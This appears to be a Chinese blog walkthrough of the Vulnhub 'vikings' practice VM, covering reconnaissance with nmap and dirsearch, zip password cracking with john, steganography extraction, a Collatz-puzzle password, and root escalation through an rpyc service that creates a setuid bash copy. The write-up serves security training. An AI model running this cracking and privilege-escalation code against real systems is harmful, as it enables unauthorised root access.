【每日打靶练习】Vulnhub-vikings(中低)

0x00部署

vikings靶机:下载地址
宿主机:kali2022
目标:获取root拿到flag文件

0x01信息收集

1.主机发现

$ sudo arp-scan -l
//因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip

2.端口扫描

//使用namp命令,-p-指定ip,查看哪些端口开放
$ sudo nmap -p- 靶机ip 
$ sudo nmap -sC -sV -O -p21,80 靶机ip
//-sC常见漏洞脚本扫描
//-sV开放端口服务/版本号
//-O操作系统探测

比较好想到的是,这里只有两个开放端口进行利用,所以流程就是在80端口找一些隐藏路径得到能登录ssh的信息进行提权。

3.信息收集(漏洞扫描)

$sudo nmap --script=vuln -p21,80 靶机ip

在这里插入图片描述

通过结果信息可知,可能存在sql注入
访问80页面:
在这里插入图片描述
点进site/查看一下:
在这里插入图片描述
一个静态页面,搜罗了一下,暂时没有什么可利用的。

4.路径爬取

对80端口进行一下路径爬取,寻找隐藏信息

$ dirsearch -u http://ip  //没什么特别的结果,继续
$ dirsearch -u http://ip -f -e php,txt,html   //指定扩展名
$ dirsearch -u http://ip -w /usr/share/seclists/Discovery/web-content/common.txt
//指定字典进行爆破
$ gobuster dir -r -u http://192.168.56.101/site/ -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt

使用dirsearch扫描的结果:
在这里插入图片描述
gobuster扫描的结果:
在这里插入图片描述

根据结果的对比,找到一个war.txt。打开之后发现指引到一个隐藏的站:
在这里插入图片描述
跳转至/site/war-is-over中查看到一串字符串编码:
在这里插入图片描述
根据组成,可判断为base64编码。

5.编码转化/文件还原

将编码进行还原:

//这里的步骤非常实用
//使用curl将上边的编码信息以解码的方式存储到aa文件中
$ curl  http://ip/site/war-is-over/ | base64 -d > aa
$ file aa //检查一下文件格式--》zip格式,需要解压
$ unzip aa //提示需要密码--》想到利用john进行爆破
$ zip2john aa > aa.hash //先将aa文件转换为hash类型的,提取他的hash,再对hash进行破解
$ cp /usr/share/wordlists/rockyou.txt.gz .  //将破解字典文件放到当前目录
$ gunzip rockyou.txt.gz //解压为txt
$ john aa.hash --wordlist=rockyou.txt

在这里插入图片描述
得到用户名king对应密码:ragnarok123

离线密码破解

将文件解压后得到一个图片:
在这里插入图片描述

❤隐写术

这里得到一张图片考虑隐写术的可能:

将机密信息隐藏在一些文件中,可能是图片文件、视频文件。

考虑使用工具:steghide
命令行输入steghide进行安装,使用info命令对king文件进行读取,提示需要密码

$ steghide info king

在这里插入图片描述
没有针对隐写的密码爆破:
1.shell脚本(不推荐,时间久,易死机)

$ for i in $(cat "rockyou.txt");do steghide extract king -p $i;done

2.二进制文件读取–》

❤二进制文件提取

$ binwalk -B king //对2进制文件进行分析,看是否有其他文件
$ binwalk -e king //对二进制文件内容进行提取

在这里插入图片描述
根据分析的内容可知:本身图片格式,内部有一个压缩大小53的压缩文件,解压92,并且名字是user

在这里插入图片描述
提取到_king.extracted文件,查看文件中的user内容
在这里插入图片描述

对于得到的内容格式猜测可能是ssh连接的用户名及密码,
格式:用户名@主机
连接:用户名@ip

进行连接,找到floki才是用户名,这里需要尝试与推测,密码就是第二行的内容。
在这里插入图片描述
当连接中出现:**WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!**的问题,解决如下:

ssh-keygen -f "/home/用户/.ssh/known_hosts" -R "ssh连接的ip"

连接上ssh后

$ id //查看当前用户权限
$ cat /etc/passwd   //查看系统用户信息

查看当前目录下内容:boat和readme.txt,都是可读文件。
在这里插入图片描述
查看readme内容,这里提到建造“boat”来找到Ragnar,Ragnar可能是权限高的用户名称。boat可能是密码或是提示下一步,查看boat
在这里插入图片描述
在这里插入图片描述
#可打印字符是您的盟友。(0-255)
#num = 第 29 个素数。素数就是能被自己和1整除的
collatz猜想(num)
继续检查其他内容:
进入上层目录,floki是刚才的目录,在ragnar目录下有一个user文件,得到一串字符串,应该是boat中指的盟友。
在这里插入图片描述
这段字符用hash-identifier检测一下是什么格式的–》md5,找个在线破解一下
在这里插入图片描述

在这里插入图片描述

素数查找/科拉茨猜想

是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1

Python代码编写

这还比较方便:

vi sushu.py
python3 sushu.py
//sushu.py的内容
n = 0
for x in range(1000):
  if x < 2:
    continue
  h = int(x / 2) + 1
  for i in range(2,h):
      if x % i == 0:
          break
  else:
        n += 1
        print(n,":",x)

运行之后得到第29个素数是109
在这里插入图片描述

//collatz猜想的python实现
def collatz(x):
        result = [109]
        while x != 1:
                if x % 2 == 1:
                        x = (3 * x) + 1
                else:
                        x = (x / 2)
                if x <= 255:
                        result.append(int(x))
        return result
 
print(collatz(109))

运行之后得到一串数字
在这里插入图片描述
使用工具:cyberchef将得到的信息进行转换
分别使用from decimal,string和find功能:
1.选择十进制用逗号隔开再转换得到一串字符,其中也包含不可输入的
在这里插入图片描述
2.将不能输入的去掉,同时去掉换行
在这里插入图片描述
在这里插入图片描述
得到最后的结果
mR)|>^/Gky[gz=\.F#j5P(
连接ragnar用户:
发现可以连接但是仍然需要sudo的权限密码:尝试了一下发现咩有
在这里插入图片描述
这里ragnar所用的bash是sh,比较简单的bash,将它换成bash

/bin/bash -i

在这里插入图片描述
寻找一登录就执行的指令:
在这里插入图片描述

RPC漏洞提权

rpc是一种远程调用服务,思路:
当前没有写的权限,但是了解rpc是服务客户端这种开放端口连接的方式,通过客户端编写代码提交给服务器来帮忙执行
执行命令以root用户来提取指令–>来获取root权限的shell
检查一下rpc服务的用户权限(root):
在这里插入图片描述
在rpc的文档知其默认端口:18812

//检查一下服务端口是否开放
$ ss -pantu | grep 18812

在这里插入图片描述
说明服务是正在执行的,且侦听地址是127.0.0.1,所以服务需要连靶机在靶机上运行,编写rpc服务功能,获取root权限:


import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
        //os.system('sudo usermod -a -G sudo ragnar')
 
fn = conn.teleport(getshell)
fn()

运行之后进入/tmp中查看到bashroot
启用:/tmp/bashroot -p成功获取权限
在这里插入图片描述
完成提权
在这里插入图片描述

0x02 总结

viking靶机中涉及使用:
80端路径爬取
john破解加密压缩文件
隐写术以及破解方式
工具:cyberchef的使用
python实现功能
rpc漏洞提权

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值